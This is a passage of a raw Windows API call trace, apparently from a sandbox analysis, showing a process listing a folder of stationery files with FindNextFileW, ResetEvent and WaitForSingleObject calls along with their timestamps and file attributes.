ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.753] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0227.753] ResetEvent (hEvent=0xe0) returned 1 [0227.753] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0228.680] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0228.680] ResetEvent (hEvent=0xe0) returned 1 [0228.680] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0229.110] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1 [0229.110] ResetEvent (hEvent=0xe0) returned 1 [0229.110] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0229.652] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1 [0229.652] ResetEvent (hEvent=0xe0) returned 1 [0229.652] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0230.480] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1 [0230.480] ResetEvent (hEvent=0xe0) returned 1 [0230.480] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0230.490] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0230.490] ResetEvent (hEvent=0xe0) returned 1 [0230.490] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0233.037] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1 [0233.037] ResetEvent (hEvent=0xe0) returned 1 [0233.037] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0233.068] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0233.068] ResetEvent (hEvent=0xe0) returned 1 [0233.068] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0234.006] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0234.006] ResetEvent (hEvent=0xe0) returned 1 [0234.006] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0234.211] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1 [0234.211] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1 [0234.211] ResetEvent (hEvent=0xe0) returned 1 [0234.211] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0234.475] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 1 [0234.475] ResetEvent (hEvent=0xe0) returned 1 [0234.475] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0235.291] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0235.291] ResetEvent (hEvent=0xe0) returned 1 [0235.291] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0235.549] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0235.549] ResetEvent (hEvent=0xe0) returned 1 [0235.549] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0236.617] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1 [0236.617] ResetEvent (hEvent=0xe0) returned 1 [0236.617] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0238.476] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1 [0238.476] ResetEvent (hEvent=0xe0) returned 1 [0238.476] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0240.407] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0240.407] ResetEvent (hEvent=0xe0) returned 1 [0240.407] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0240.419] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0240.419] ResetEvent (hEvent=0xe0) returned 1 [0240.420] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0241.040] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.emf", cAlternateFileName="")) returned 1 [0241.040] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monet.jpg", cAlternateFileName="")) returned 1 [0241.040] ResetEvent (hEvent=0xe0) returned 1 [0241.040] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0241.055] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1 [0241.055] ResetEvent (hEvent=0xe0) returned 1 [0241.055] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0242.163] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.emf", cAlternateFileName="")) returned 1 [0242.163] ResetEvent (hEvent=0xe0) returned 1 [0242.163] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0242.308] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1 [0242.308] ResetEvent (hEvent=0xe0) returned 1 [0242.308] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0242.506] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0242.507] ResetEvent (hEvent=0xe0) returned 1 [0242.507] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0243.989] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0243.989] ResetEvent (hEvent=0xe0) returned 1 [0243.989] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0244.034] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0244.034] ResetEvent (hEvent=0xe0) returned 1 [0244.034] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0244.770] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0244.771] ResetEvent (hEvent=0xe0) returned 1 [0244.771] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0245.272] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1 [0245.272] ResetEvent (hEvent=0xe0) returned 1 [0245.272] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0245.670] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1 [0245.671] ResetEvent (hEvent=0xe0) returned 1 [0245.671] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0249.321] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1 [0249.321] ResetEvent (hEvent=0xe0) returned 1 [0249.321] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0249.425] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0249.425] ResetEvent (hEvent=0xe0) returned 1 [0249.425] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0249.446] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0249.447] ResetEvent (hEvent=0xe0) returned 1 [0249.447] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0249.611] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1 [0249.611] ResetEvent (hEvent=0xe0) returned 1 [0249.611] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0249.634] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.emf", cAlternateFileName="")) returned 1 [0249.634] ResetEvent (hEvent=0xe0) returned 1 [0249.634] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0249.650] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0249.650] ResetEvent (hEvent=0xe0) returned 1 [0249.650] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0249.911] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0249.911] ResetEvent (hEvent=0xe0) returned 1 [0249.911] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0250.221] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1 [0250.221] ResetEvent (hEvent=0xe0) returned 1 [0250.221] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0251.465] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1 [0251.465] ResetEvent (hEvent=0xe0) returned 1 [0251.465] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0251.787] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, 